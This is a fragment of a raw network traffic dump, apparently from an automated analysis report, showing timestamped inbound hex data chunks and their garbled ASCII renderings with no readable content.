2d 19 09 f0 e0 a9 dc 3d 71 76 77 b0 a2 dc ad f3 64 42 
Data Ascii: ?{ny;lfV-D`}c|8BI!a#@ts8U.V52~Is{vRP?k,Q9L!9YLsTm>j)$5`aD|d_&q)c+?MtG_:9A*tK_u`"I 63-LASZQ+xi-
=qvwdB

2022-09-20 10:10:08 UTC 5614 IN Data Raw: 45 e8 1d 01 fd 2f 67 78 44 79 44 e3 ff 77 67 8b 16 93 b0 1c 12 e8 24 09 f4 34 81 ee 3b 05 33 4a 3d 28 c0 89 
44 d7 13 3e b3 05 6d 7b dd 24 c8 3c 09 b2 9a 20 53 01 32 50 4d 3d 90 a0 ec 49 bd 0c 4c e4 1e a9 96 ea 91 84 fd 23 61 
c7 00 f6 a7 ec 65 83 41 eb 96 ad f5 6d 8b 63 38 42 9f 94 ba 20 b0 45 f9 99 c7 1c de 11 f6 1a 9d 09 3e 47 88 a3 7f a8 01 
62 65 10 a2 e1 89 9a de db 12 5c a2 a4 55 75 76 26 84 39 12 ca 9c 09 e1 8e 04 77 70 89 e2 64 b7 de 0a 73 fe 67 b8 33 
c1 ed 1c 14 ee 7c 3c cc 51 dd b5 08 f6 6e cf 77 f5 c0 2c 69 68 91 33 a5 c4 e1 69 51 cd e4 d8 0e 07 96 48 4c 5e 1b 69 ca 
0a 92 e4 d3 8a be 5c 00 6e 14 9d 83 73 08 a5 9d 26 31 9c ec e8 60 6f ff 98 af c6 0e e2 91 0d f6 2c 92 dd 80 98 d6 d4 5a 
3f ba c2 b7 dd 20 aa 09 bd fa 55 f6 69 c3 e2 77 62 81 b5 ef 84 
Data Ascii: E/gxDyDwg$4;3J=(D>m{$< S2PM=IL#aeAmc8B E>Gbe\Uuv&9wpdsg3|<Qnw,ih3iQHL^i\ns&1`o,Z? Uiwb

2022-09-20 10:10:08 UTC 5622 IN Data Raw: a1 b4 a2 59 53 5b 42 3c 9c 94 3f 17 e7 12 58 18 85 4d db 63 1f f4 f9 cd c4 3a d3 51 16 03 77 27 fa c1 73 34 f3 
dd 12 6f fb 06 b1 dd 32 7a 94 7b 0a c3 ef ee 67 d1 6e 7a 32 3a be 82 b9 c4 3e 5f 9d 8b 6d a0 7b 7c 75 fa 29 fa 3d 50 91 
22 81 dd be 48 af 42 b6 38 f9 ea 70 77 ad 43 5c 5c e3 7d 75 ab 3f 8a 31 99 39 8c 36 84 ef 61 eb 39 d8 7a 44 4f 71 1a 81 
f9 b5 8f f1 51 9a 67 22 6c f9 0c 56 57 3d f5 cd 3f b4 e0 5e dd 36 1a 33 86 04 d3 18 c6 b1 7f 68 dc 52 3c d6 8d b5 5c 8b 2d 
d7 32 04 6b cd 08 b2 5e 44 ec a5 c6 78 c1 68 b6 06 00 81 7a ad f2 82 75 9f 7d f6 37 ce 1b cb 06 0b 9f fc c4 a7 f1 15 0e fb 
2c 76 ac 98 d5 b0 e3 44 a4 6c e8 55 78 84 1b 8d 4f 60 dd ab 1f c8 24 cd 75 f3 f0 f0 64 c5 ec 3a 81 d9 b9 60 c7 30 13 51 
89 fe 7b 3d 3b c5 dd e9 44 2b 5d ba 98 2a 60 57 
Data Ascii: YS[B<?XMc:Qw's4o2z{gnz2:>_m{|u)=P"HB8pwC\\}u?196a9zDOqQg"lVW=?^63hR<\-2k^Dxhzu}7,vDlUxO`
$ud:`0Q{=;D+]*`W

2022-09-20 10:10:08 UTC 5630 IN Data Raw: be 26 02 6a b8 5e dc ec 64 56 20 9b 5d 60 66 a0 ba 56 1d 91 73 bc 81 15 77 88 84 29 18 58 46 31 33 2b bb 
c7 56 d4 c2 60 60 47 fa 75 6b b1 f1 50 7a 69 1f 4a 37 f5 63 76 2a 9b 5c 86 b8 28 b3 24 78 0c 01 29 bf 20 8d aa 8f 8c 37 
fa 45 48 14 b3 c7 7b ac a7 9d 4e 4a 8a f7 c6 74 6b 6a fe f8 6e bc 9a 9d aa bf 8a 8a 4f e8 a6 21 7c 44 c7 18 f2 43 10 60 
82 81 3e b3 14 ea 0e 8d 96 d5 d5 6c 68 91 dd ef fd c1 06 6a 56 8c c4 20 1f 14 a9 26 c8 6b 76 cd 0e a3 f9 0d a4 c8 8f 4c 
6c 45 d2 ea 0c 78 5f 52 62 51 6b 4a 5f dd 26 17 b7 1f f1 d5 41 d3 b1 a9 80 70 c9 a4 94 24 45 3e 7f 38 13 49 8a da e0 34 
7a 03 8a 89 a7 d2 4c 3a a0 77 cf 09 9e 9a 27 f1 d1 1b db 01 bc 4e 6a 28 44 65 af 55 dc ff 24 66 b0 38 ce 4a db 7e a5 8d 
06 92 c0 4b a6 7f 52 b6 f3 00 0c 63 30 aa 0e 16 50 54 16 07 
Data Ascii: &j^dV ]`fVsw)XF13+V``GukPziJ7cv*\($x) 7EH{NJtkjnO!|DC`>lhjV &kvLlEx_RbQkJ_&Ap$E>8I4zL:w'
Nj(DeU$f8J~KRc0PT

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5637 IN Data Raw: 4a 67 a3 10 0d 4f 6b d2 d9 f1 ef 69 bd 18 1f 9e 4c 69 78 32 b5 e1 c9 53 d2 96 72 51 3e 54 92 c9 6f 23 10 88 
58 0d d0 0c 09 08 78 5e a5 01 1a 4b 64 12 b5 07 b3 23 f7 e8 5d 88 c0 c0 39 15 34 93 af a4 f0 28 38 55 2f ee b1 5a 80 0a 
e4 2c 96 fc 8f 6e ab 45 23 82 19 1a 01 4c 23 19 2c 7b 4a 23 e9 3a 7b 4a 65 04 33 45 a9 cb 24 96 e1 26 a5 6e 06 3d 25 
2b 75 d3 e8 69 b2 52 97 41 4f 13 18 39 49 44 d4 4c 44 94 2b 88 28 6b 10 44 b4 f5 dd 6e 8e 1d 60 c6 46 5b 39 1d 64 a2 
68 d1 38 5a 8b 24 44 2d 0a 32 5a 73 4d a3 b5 82 8d d6 1e f3 68 05 9f 4c 15 92 16 04 63 39 06 40 74 45 77 50 44 3f f2 a5 
84 e8 c9 1a 7a 11 51 ca ae f9 9c d7 40 99 8b c4 77 a5 cf 19 18 51 4b ff da 4d f1 a7 19 55 2d 61 f3 08 8c a0 6d 9e 77 2f 
60 54 6a 6e da ef b6 e7 b0 bd 2e 67 aa bd c4 56 70 06 34 f0 2f 
Data Ascii: JgOkiLix2SrQ>To#Xx^Kd#]94(8U/Z,nE#L#,{J#:{Je3E$&n=%+uiRAO9IDLD+(kDn`F[9dh8Z$D-2ZsMhLc9@t
EwPD?zQ@wQKMU-amw/`Tjn.gVp4/

2022-09-20 10:10:08 UTC 5645 IN Data Raw: f8 fd 32 bd 80 fc 2f de 2c 7b 35 35 eb bc c4 87 52 2f 1f 13 90 1b d0 f6 2b db 1c d2 3a 03 a4 2f 0c 90 ea 09 d2 
b7 b9 b0 ff 59 06 ca 5a 9e 87 f5 29 19 db 2d 67 a4 ca ae 14 b9 10 91 89 95 37 41 19 05 9d 4c a1 00 0a 3c 0e 3a 11 ae 91 
e0 1a 7c dc 70 2a bb e5 69 38 63 46 08 ac c6 1e dd ed 60 70 05 70 61 fd f4 07 f5 c9 f6 e3 4d 18 83 1a 9e f1 fe 69 0c 8e 
ec 46 56 8c 6e 8a 12 38 4f 5f 9f b6 a3 70 b1 9a dd 10 aa 9b cc 6d ba b0 0a 79 2d 82 27 f9 d1 77 16 0f ea 7f 03 5a 17 c0 
13 5b 05 7d d9 37 50 1b ca f7 17 35 ab 87 bd bb af 86 b0 3d a2 7d 4f 7f c9 da f7 dd 6d c7 09 74 4a 70 fb cd 78 56 90 92 
4f 79 bd c7 b5 d1 b8 2e d9 d0 63 45 d8 63 be 00 66 1d 28 22 d8 3b af d4 e2 6f 53 3a 86 af 05 f8 7b f0 bf f2 46 d7 55 36 
29 ff 3f 83 f7 1a ea dc d8 46 9d ef 4f c1 80 b1 00 c4 
Data Ascii: 2/,{55R/+:/YZ)-g7AL<:|p*i8cF`ppaMiFVn8O_pmy-'wZ[}7P5=}OmtJpxVOy.cEcf(";oS:{FU6)?FO

2022-09-20 10:10:08 UTC 5653 IN Data Raw: ed 37 41 9c d5 8e 1c d5 2d 02 bf ef 74 c8 97 0f a6 63 4f 20 12 9f 9e 47 c2 d3 f3 3c bb 27 70 61 78 5b 55 1e 8d 
0b 8a bd a6 0c 6f c3 07 b1 8b 31 3c a8 8d 3a a6 4b 17 87 05 83 f7 38 be 91 bd 6d f4 c9 90 bb 7c 9f c5 69 47 49 ec f2 df 
68 f3 e5 db b9 8a d7 04 9e b5 71 f8 84 04 ef bb 9a e0 63 4f 2d 2c b3 85 65 b6 60 67 46 a3 8b 13 fb 9c 86 15 0e b9 ed 0b 
1d 7b 62 ab 7f c4 68 39 0d b2 e5 eb 96 61 e1 ee 09 56 aa 4e f6 9f a7 c3 3b 04 f5 09 44 17 33 4e ec 63 d9 b9 2c 8e 8f e6 
02 e1 f8 7b 03 5f 20 1c 8b 1a c4 ff fa 37 6d 9a 97 0b 49 b7 07 d5 8f 97 c9 f4 6f 1b 0c c7 65 5a 1c 9d bf 0d 86 64 d8 75 06 
58 c3 7d df 91 56 21 35 f4 89 97 fc 0a f4 d9 fb b4 08 ed 51 e2 ea 7c 95 7c 25 82 2b f9 21 09 6f 4f 1b 84 fe 53 1e 6e 0d a9 
51 72 ed a5 41 f4 80 5f d7 a5 dc d1 8a df be a0 
Data Ascii: 7A-tcO G<'pax[Uo1<:K8m|iGIhqcO-,e`gF{bh9aVN;D3Nc,{_ 7mIoeZduX}V!5Q||%+!oOSnQrA_

2022-09-20 10:10:08 UTC 5661 IN Data Raw: f6 f7 81 d1 05 1b 65 17 1c 73 c1 d8 03 d0 6e 68 42 79 d7 50 bf 4a 10 df b1 88 9e 91 33 af c4 ee 33 82 34 01 
7d e0 d8 06 a9 b7 9d c7 f9 e9 e0 48 ae 62 59 22 7f 73 9e cf 5b 83 d3 32 78 f9 a6 f8 82 41 1f d2 c6 50 14 27 14 e2 e2 ff c5 
cc 51 f2 49 9c 7a 67 6e 03 a9 30 16 25 d7 43 9d ed ba e5 4d 17 f1 48 28 d3 08 34 fc e6 f2 5b 58 5e de 28 ca bd a1 15 cb 
7d 34 d0 70 c3 ec fc db 38 c9 92 ca bf 3b 85 c5 18 2d 62 3c d5 0a 39 8a e6 00 78 e6 f4 23 71 b0 9b e3 cd a4 02 46 73 01 
a0 5a d5 1f d6 c1 ee 61 98 d0 e7 fd 4b 86 90 37 49 9f 82 c1 bb f4 29 78 96 c5 b8 5d c4 38 77 04 52 10 00 7e 1b e0 e7 0f 
e8 53 70 07 15 30 90 09 08 ce 81 d8 ca 22 2d f6 5e 8c dd 86 be 7a af 87 a5 53 5d ec 47 1b 31 f6 30 1e 5b 72 a6 e7 b4 d6 
c9 bb 21 dc f7 0f 13 bb 21 9c d6 7a 79 9f 4a 0d be e3 
Data Ascii: esnhByPJ334}HbY"s[2xAP'QIzgn0%CMH(4[X^(}4p8;-b<9x#qFsZaK7I)x]8wR~Sp0"-^zS]G10[r!!zyJ

2022-09-20 10:10:08 UTC 5669 IN Data Raw: 47 f2 19 e4 dc 85 81 24 11 c8 17 04 e2 62 90 be 8b 2f 08 24 99 40 7e 43 20 7b 38 c4 6a ba 2d 88 bb bc 0a 46 
35 41 e8 fd 7b c7 ed 76 fd 9b bd b8 f7 fe 9d 5e 22 fa 37 3f c9 90 83 d8 45 60 cc d6 9e cf 58 9e bf 00 56 33 98 d5 a0 7d 7d 
6f 62 df 0a d4 f1 24 9f 4b 4e ca 09 cf 68 07 68 84 be 84 fb 34 35 c2 ee 44 42 ae b9 00 e4 34 5b e4 e0 71 27 5a e4 4f 9c 
07 e4 9c 48 11 23 af b3 47 be cf 0e b9 a1 2b 0e 9e 7b 27 1d e1 48 ae ff 6d 4f fa 66 3b d2 93 6d 48 2b 01 95 c3 02 2a 27 
f2 1c 43 bf 65 0f 3d c5 0e fa 44 67 37 d0 f2 4b cd e1 2f 35 27 32 96 e1 1b ed e1 17 da c1 07 bb 83 37 71 1e 27 03 6f b0 c4 
39 60 cf 40 cf a2 22 87 45 45 4e e4 7e 86 39 66 0f 73 45 77 7d 98 cd 7d 98 1d b9 9c 11 4e d9 23 5c d9 6d 8d b3 b9 c6 d9 
91 13 6c db ec ff c0 05 cb ab 1c 96 57 39 78 03 07 
Data Ascii: G$b/$@~C {8j-F5A{v^"7?E`XV3}}ob$KNhh45DB4[q'ZOH#G+{'HmOf;mH+*'Ce=Dg7K/5'27q'o9`@"EEN~9fs
Ew}}N#\mlW9x

2022-09-20 10:10:08 UTC 5676 IN Data Raw: 8b af 18 ad 7f 07 16 1e c0 ec 4b 3d b1 5e d0 b7 21 34 9b af b1 0f b6 11 db c6 c4 28 5a 6b 0b 04 a8 76 6d 94 
4d 98 72 7f 50 80 92 63 61 32 f8 1b be b7 4e 3b 6c db 0c f6 06 a4 21 17 d3 d9 14 88 50 f5 e9 51 fa 62 1c 55 9a 1b 83 c3 
29 4e f0 82 ee 60 70 5a 0f 63 82 be 27 ea a5 f5 aa d5 fb 5c e6 c7 67 43 b8 33 c2 d4 c6 3b dc c9 6c 07 a2 dd 0d d9 9c 27 
30 70 b4 e1 67 cc 5e b0 03 4b 0e ac 90 e0 dd 85 b8 ad 85 e8 6e 8c 57 a4 b3 57 da 21 88 be 8c 87 d1 95 69 57 31 ad 49 
a2 32 0f dd 40 91 49 ec 74 0a 28 49 f5 0a 5c 5d 41 a0 54 b6 0c fc 5e 41 35 a9 ce fd b6 dd 7a d5 75 48 6c 2b 43 4f c2 b6 
5b 4d 0c 04 6d c0 bc 54 9d 35 ca 47 8c 73 91 fa 70 77 12 1c 70 de b6 cf ab 7c 6a db 77 cc 7c fc ec d7 1c df ca 16 44 ad 
c7 4c 99 de 10 97 31 6a be 95 d3 85 ba 05 c8 c1 c0 ea 62 26 
Data Ascii: K=^!4(ZkvmMrPca2N;l!PQbU)N`pZc'\gC3;l'0pg^KnWW!iW1I2@It(I\]AT^A5zuHl+CO[MmT5Gspwp|jw|DL1jb&

2022-09-20 10:10:08 UTC 5684 IN Data Raw: f1 bf b9 e1 73 a0 c7 3d 14 fa ba a2 a5 49 8d 8e 33 77 7a 8a f7 4e ee 3f bd 7d 7f ba 14 c8 f1 5c a7 49 0e 89 0c 
1e d1 72 27 2d c5 4e 92 24 bc fa 43 93 e8 65 94 74 67 80 c4 40 d6 95 f1 93 aa 4e 15 cc 72 d2 48 78 09 c6 c9 b2 04 0c e1 
12 26 b6 9c 4f 6d 52 09 35 57 ee fd 2b d5 b2 59 d4 52 91 a6 8d e5 34 cb 58 de 79 aa 7d f5 23 c7 f2 19 1e cb 13 1b 62 ea 
5e 14 1c c5 57 85 a3 d4 93 1d be c8 7b 5e 6c d6 5c 76 0c f4 e5 71 10 e2 2a 18 77 77 c8 7e 77 0d 11 2d f3 dc a0 67 e1 8c 
9d f9 be 8f 05 2e d5 24 a2 3d 7f 69 52 7d 55 cd 88 22 b5 f2 00 d4 96 52 f9 29 0e ca 4c e8 f5 6d a8 d4 f8 63 28 1a de 9f ea 
9c 2e ca cd d6 e4 3b 2b 88 04 81 9a 0f 62 59 d4 da 58 42 92 70 90 49 c0 b0 be f6 dc 1c c1 a5 f0 da 9f c5 5a 04 52 c6 35 
76 b7 37 61 13 97 8f ae 2b db da c3 d5 9a 3f f4 9a 
Data Ascii: s=I3wzN?}\Ir'-N$Cetg@NrHx&OmR5W+YR4Xy}#b^W{^l\vq*ww~w-g.$=iR}U"R)Lmc(.;+bYXBpIZR5v7a+?

2022-09-20 10:10:08 UTC 5692 IN Data Raw: d5 9f c0 79 a7 d5 45 b4 1d ea 14 b4 cd 9f d0 14 6e f8 cb bc 5e 2b 4c f8 ef 79 6b df ab 3e 1d 2e a1 b2 9e 0e 84 
83 bf 88 8c 21 83 e0 d8 0f de f9 a9 fa f4 de 5b 33 fa 44 48 ab 6d 41 d4 da ee c2 da c4 5b 4c 3a 78 0f 03 10 41 b5 fa 37 47 
15 b4 85 6a cb ec 97 5b f0 f9 d4 2e d7 87 ae dc a2 cc 7e 11 64 e1 9d 6f f2 1b 69 96 a7 60 34 0d c5 c7 cf f7 a0 a1 e0 43 
73 33 a7 86 41 1b 18 21 ac 7f 5e 3b a7 d6 8c 0a 9a b9 8a 34 f7 25 da 45 39 70 db 98 47 7d 4e 51 7c 3d 33 e3 67 9e 10 
82 fc a8 18 4d 7a 88 e9 82 33 dc 38 e7 23 74 ef 10 4d e8 66 79 9c af 68 0f e3 36 a5 8d cd b6 49 6a f7 2e e4 8c 63 a4 b8 
cb 55 bd d7 8d 3c f0 bb 45 d8 93 24 e2 1c e4 49 8c 6a 80 95 03 d2 14 0b e9 08 d8 db 3b 9b 84 21 07 ef e5 d4 dd 61 b2 
e5 10 8d 03 79 30 c0 e5 41 2b db 3f 9d f0 da 03 0d 8a 15 
Data Ascii: yEn^+Lyk>.![3DHmA[L:xA7Gj[.~doi`4Cs3A!^;4%E9pG}NQ|=3gMz38#tMfyh6Ij.cU<E$Ij;!ay0A+?

2022-09-20 10:10:08 UTC 5700 IN Data Raw: d9 a6 44 91 6d 6a fc 64 9b 12 c4 b8 86 cb 36 42 47 d3 42 3a 1a f2 8d 81 8f 2c 73 c5 7c fd 1f 88 38 39 fe 9f 27 
11 27 87 7f 9b 89 38 39 5c c4 c9 21 11 a7 c6 31 db e9 ca ff bd 59 4f c4 19 f2 1d 89 38 4f cd e7 05 df 22 db b4 3a 53 f7 e4 
5f 74 85 e6 7c ca 3e 75 fb c6 e3 e6 56 a3 72 94 bf 7c a7 4a 83 f3 2a 0d d2 f3 15 3e 66 2c 5a 75 d8 ae 07 0f 2e 88 b7 88 
85 eb 91 b9 59 9d dc 34 8f 17 3c f5 3d 34 70 92 47 0a 96 ec 9d 8c 72 94 d8 d8 97 9f 52 ef c9 b1 e0 96 14 5c c4 dd 1d b3 
6b 78 c9 33 77 aa 19 17 06 0c 16 19 2a 78 6e 34 49 fa 5a 11 27 a7 32 0c 78 d3 28 f4 ae 7f 9d 4e 7a d7 35 05 3c 25 05 48 
f0 6b 51 13 21 9b 1e 0d fb cd ab 18 8a c3 c5 61 3e 5d 2f ca d2 4c ab 39 b0 48 a2 6e 68 d8 db 7c af 36 9f db 87 66 5f 93 
6a ad 59 0f d7 9f 5c 47 77 af 91 a8 a7 b6 69 2d c5 
Data Ascii: Dmjd6BGB:,s|89''89\!1YO8O":S_t|>uVr|J*>f,Zu.Y4<=4pGrR\kx3w*xn4IZ'2x(Nz5<%HkQ!a>]/L9Hnh|6f_jY\Gwi-

2022-09-20 10:10:08 UTC 5708 IN Data Raw: ba e1 06 4f 70 8c 7a 26 c5 b6 f5 dc 0d 3d 76 e0 e4 2f 37 d5 a6 f2 b0 45 86 03 3e 4a 9d 8e 8f 63 51 c3 4b 15 
91 8f c1 ec 71 5a d3 e2 b5 c7 35 d9 68 fb 75 0d f7 17 43 c9 cc 21 53 ec a7 6a 05 47 97 53 d7 2b 10 7b 4d 8e aa 2a 28 09 
18 3f 7a 72 79 08 70 79 90 7c cc b4 7c ce 30 3b 90 f6 13 63 d6 87 d5 40 03 ca 56 bf 5d d0 ff 95 18 94 6a 4d a9 c7 a1 57 
50 9d fa 76 54 4b 9f 2f ac e6 de d9 2a 06 71 f1 94 e8 f3 ba 01 11 f4 ee 02 c8 0c dd a1 95 9a 5d 1a df 35 4c 44 cd 57 46 97 
40 72 df 3a 96 4f 83 77 5c bc f7 3f 9d 83 b6 76 f8 ee 65 4a d8 8b 1f fa ea 8a 26 77 b1 9e d2 f9 ed f8 55 7e 2a 68 6d 58 45 
0a 87 c2 26 9e ee 79 1d 51 7a a8 58 69 22 22 7a 44 5a 77 5e 36 d1 7a 93 46 2b 58 d5 c6 73 65 51 62 d6 cf 97 98 8c 0b 
b9 1b e7 bf c5 57 c1 7f 29 eb d1 e6 ac 07 0b 6c a2 87 
Data Ascii: Opz&=v/7E>JcQKqZ5huC!SjGS+{M*(?zrypy||0;c@V]jMWPvTK/*q]5LDWF@r:Ow\?veJ&wU~*hmXE&yQzXi""z
DZw^6zF+XseQbW)l

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5716 IN Data Raw: 45 13 e6 17 bd eb 21 38 9c e8 3e 20 da 2b 38 b6 99 02 db ef b8 bc 06 fe 4b 69 62 0d 2c 51 96 33 ca e8 46 81 
72 31 a2 dc 21 35 70 9d a8 46 c8 b5 0b 1a 9f 75 2a af 9f 51 1a 96 9c 82 1d 2d a3 fd ae 46 52 0e 02 b0 f6 1e 99 da 50 58 
7c 2d 85 b7 07 e1 2d 45 71 28 03 94 df 50 6d c2 45 0f 40 2f d4 fb 0a eb 35 77 6f 98 c4 ba ea 03 25 bd 6c ba a1 4f 79 0f 
88 c7 56 17 58 d3 dd a6 7f db c6 df 8e c4 6f 1b 7c 85 0d 9a fb 17 f8 6d 43 a0 a4 37 96 43 77 b9 02 f1 2d 08 7e 5d 71 49 4f 
0a 7f 43 32 28 7e 92 af 06 cf 4d 57 5d 62 15 73 7c 7b ab 58 22 ba 76 89 a2 ac 33 e2 a5 14 cd 53 3f 7b 3b d1 c0 8e af 2e 
91 3f 67 33 1a 3b 42 cc b7 cd b1 52 d7 67 73 62 a9 eb da 64 ee 9d af b9 77 8e 6c 8c 93 ba 4e dc ee 6c 09 74 f0 61 43 97 
f5 21 28 e9 db a5 2e 4b 10 6c ed 60 be e8 6a b0 b5 c5 
Data Ascii: E!8> +8Kib,Q3Fr1!5pFu*Q-FRPX|--Eq(PmE@/5wo%lOyVXo|mC7Cw-~]qIOC2(~MW]bs|{X"v3S?{;.?g3;BRg
sbdwlNltaC!(.Kl`j

2022-09-20 10:10:08 UTC 5723 IN Data Raw: 0a d9 71 ea e4 7d 74 35 5d 26 71 40 dd 53 ce 61 c3 33 9a a3 6f e0 8e d2 ce 0d d3 13 f2 32 80 e0 bc 0b 73 92 
e3 d2 c2 a4 a8 02 83 d1 2a 06 5d d7 f7 80 44 6e d0 97 22 6f 75 d6 97 6b 4c 4a 4f 0d f8 30 36 c1 76 58 01 18 f1 ac 09 d9 
aa 0a c1 f3 58 01 8b 1b 0b 92 f5 1f 77 5a 41 8f a2 41 a3 5c ee f3 70 5d c5 2d fe 82 52 e3 54 e7 f5 19 a7 fa 0d 1e c0 9d 2e 
31 d5 fb e7 00 75 a3 06 a0 21 0b a0 ef cd 31 02 2d 31 01 dd c5 40 47 00 d0 3a 04 1a c1 24 aa 02 74 2d e9 f1 c4 4e 9e c7 
2c f1 d1 c9 18 cd e9 50 36 15 bc 6b 56 6f 2c 21 e5 d6 bc e5 94 8c b5 ea 0e 0c 6f 3b 02 e9 36 8d 69 f5 b3 a5 48 ab 02 84 
78 2e 79 a1 a6 73 7b 86 7f f7 e5 bd 31 76 1e 53 96 68 ed 30 50 26 dc a2 99 18 c4 ed 75 88 f4 5c 94 5d 79 29 14 e9 41 fb 
f4 15 11 78 a3 97 7c 30 a3 1a 77 bc be 04 71 ca 90 65 
Data Ascii: q}t5]&q@Sa3o2s*]Dn"oukLJO06vXXwZAA\p]-RT.1u!1-1@G:$t-N,P6kVo,!o;6iHx.ys{1vSh0P&u\]y)Ax|0wqe

2022-09-20 10:10:08 UTC 5731 IN Data Raw: 35 e7 04 6f ef 1a eb 89 53 3e cb 6b 2c 85 b0 db d3 ce e7 bb ec 3b b6 25 0e 3b e5 0b e1 3b 31 f3 bf 38 49 ec 
1a 6d e9 3b f1 4a a9 2e b7 4f b1 f2 93 65 af 8e 3f ad 52 f2 15 8b d8 8f 9f fd 60 04 35 3e 96 ef de bd 3b 73 50 87 11 a8 dd 
01 d4 65 ac b1 52 f9 3a 4a 37 0f 18 3c 50 6f 7a 20 a0 07 05 6d 49 80 8c d6 35 90 c6 96 8b fe 1f a2 e8 cf 7d cc 92 19 de 
71 99 a4 f0 2f 39 d2 3a b7 2d 19 65 7e ea 53 f9 65 83 9e 38 05 3f f1 db d3 a8 64 26 3b a2 ae 70 c2 5e b0 b3 09 31 f5 4d 
5d 93 6a 80 ad eb 52 8c 2b 39 9f 15 ce de 9f 03 fe 0b 61 70 d1 aa a9 f7 ab 18 71 ec 37 99 f3 f2 74 9e 0e 11 d8 85 be 7a 
f5 df 54 63 d7 63 9d 01 55 37 e5 02 a2 57 8e 0c f5 aa d4 bc 3f 5b 36 fe 45 fb 49 57 4e 85 f6 f7 54 d5 38 96 a1 61 b2 0e 2a 
e3 7f 06 da b3 e5 aa 14 15 03 8b 92 e2 8d 66 7e 8f 
Data Ascii: 5oS>k,;%;;18Im;J.Oe?R`5>;sPeR:J7<Poz mI5}q/9:-e~Se8?d&;p^1M]jR+9apq7tzTccU7W?[6EIWNT8a*f~

2022-09-20 10:10:08 UTC 5739 IN Data Raw: 66 88 93 77 f8 ab a8 70 af 9c ff 64 ba 49 69 6f 5d 99 22 f9 92 ac ae 64 11 af 8a 87 c3 9e 00 57 0c b9 98 86 67 
21 93 1a 54 26 ed e4 4c 6a 04 bb 53 c6 7e bb b5 8e 1f 2f 98 36 e0 72 6b d2 c0 65 1d 99 f8 e6 aa 16 6e 5f 42 e5 c0 36 0b 
d5 62 f4 7c 61 e1 65 7b 1c 9e 06 9a 48 58 7b a7 42 98 2f 1f 71 65 65 ab 6e 67 a7 97 72 2f 5b 65 8b 0f 08 d7 2a 55 e7 43 
0e 92 5a 9f 31 5a 3b 81 1b cd 3b e9 cd 3b c1 23 ac a3 bc 93 24 ea 44 dc 4d 17 8b 04 26 32 83 52 02 a0 0e 6e 60 9d 45 
2e 67 04 e5 ba 59 a3 5c 35 ca 15 2a ac a9 b0 12 75 a4 3f 36 8d 95 56 82 2a 87 ff b1 13 3c 4b 9c c4 d6 4f a7 99 24 7c 6b 
2f 45 b0 6a 1b 07 78 71 ea 80 58 a2 d1 f5 be 71 1c ac 0f 22 33 fc 5a 9d 45 8a 2f 34 8f 41 72 d0 44 c5 b5 fe 1c c2 f6 fd 27 
5a a2 e2 d6 77 4f 0c 35 80 9b 18 19 60 7c 78 93 c4 59 
Data Ascii: fwpdIio]"dWg!T&LjS~/6rken_B6b|ae{HX{B/qeengr/[e*UCZ1Z;;;#$DM&2Rn`E.gY\5*u?6V*<KO$|k/Ejxq
Xq"3ZE/4ArD'ZwO5`|xY

2022-09-20 10:10:08 UTC 5747 IN Data Raw: 9a 09 da 9e 97 08 e1 21 da 9e 83 f4 34 58 a0 19 a7 9e f0 75 a6 a9 d2 59 4a f6 e9 79 20 77 db 14 e9 bc 34 3d 
54 3a 27 a8 b9 54 e9 8c 4b c2 b1 cf da 24 e9 71 ce a1 99 87 ed 1f ff 04 47 6e f0 2e 1d b8 d7 19 b3 12 fd d2 72 01 f3 b5 
ea f9 50 ba b4 e9 92 21 69 00 b8 05 02 89 30 6f c1 c2 f9 e1 22 51 46 98 e3 c5 fc eb 3c e4 06 5f 43 9e d6 0c 08 50 e6 b6 
24 ba cb 6a 8b d7 60 c2 0e 4c 78 c7 5d 41 0f 9b 5a 7b 17 83 68 c7 71 79 48 b0 b0 e6 ae b3 e3 46 f2 72 f6 2f 99 7b e9 79 
d8 36 ca 4c da fc 16 36 be 3b 74 00 94 54 3b 91 3d f3 e9 24 98 05 67 42 77 30 cc 7d e3 6c 97 29 02 90 d9 61 2c d0 7f c4 
f4 76 d3 ed 5e bc 2b bc b0 05 0e 81 65 46 7d 74 9d fe 94 c0 f3 89 31 b3 90 50 a6 a7 46 3d 5f 83 7c 02 86 a5 40 21 d2 f5 
2b e2 30 e9 ed fe e6 39 78 97 53 bd eb 0c 6f fa 53 93 83 
Data Ascii: !4XuYJy w4=T:'TK$qGn.rP!i0o"QF<_CP$j`Lx]AZ{hqyHFr/{y6L6;tT;=$gBw0}l)a,v^+eF}t1PF=_|@!+09xSoS

2022-09-20 10:10:08 UTC 5755 IN Data Raw: 1e 27 4f 34 a4 ea eb 3e 08 84 d6 cf cf 15 57 2c cf cf 35 ae 58 26 ff e7 af 03 a3 5f b1 cc b3 ee e3 94 7f e6 2b 20 
fa 3e eb d5 ef 5d 24 04 85 cb 59 29 4e 1e 68 92 ce 7e 14 58 b4 2b 9c 45 73 ea 74 ba 0d dd f4 6e 3d fc a8 05 a5 01 69 74 
72 5f 14 3b df 7b bb be db 73 a2 9f 5f d4 06 5b 47 43 81 90 e9 fa 57 32 39 18 92 1c 26 7c bc 5f 42 31 06 7d 9f 78 9f 4e 8d 
4a a3 e7 3f 1f 1d ed 0c de bf ef 1a ed 2c 25 4e 83 5d f2 60 e0 fb bd 7e 6a 67 37 02 40 45 ae 7b f3 4f 5a 47 42 75 0e 8d 84 
95 bc 3f ca e2 a9 79 1b fe ce 46 c2 85 27 11 9d 0c 81 b4 7c d4 74 4f 96 1f f5 91 ac 2e f2 1d db 27 cb 4a 7b b3 80 55 66 45 
2e 42 d7 24 c0 1c f0 1b 98 03 3e ed 69 7e d1 9d 81 34 d0 90 23 8f 0e 9c 05 f3 de 8b 70 44 9a 54 24 91 2a f0 37 6c a2 df 
6c 1f 5e 57 88 ed 2b f9 2a 10 55 39 6e 09 
Data Ascii: 'O4>W,5X&_+ >]$Y)Nh~X+Estn=itr_;{s_[GCW29&|_B1}xNJ?,%N]`~jg7@E{OZGBu?yF'|tO.'J{UfE.B$>i~
4#pDT$*7ll^W+*U9n

2022-09-20 10:10:08 UTC 5762 IN Data Raw: 05 1c 7a db 2b 82 51 4e bd 8c 18 4f a8 1c d2 a6 d6 ef f6 c9 30 93 f1 4d f2 f6 c6 91 66 50 92 8c d2 0d 7a 5b 09 
6f 71 6f 68 71 4c bd 49 af 8e 4b 53 a3 6c 9c a7 6d 91 1e c0 1d 7d 05 d0 c0 0a 7c 05 46 f9 f5 90 ee c2 bc 2a fb 30 64 8a 
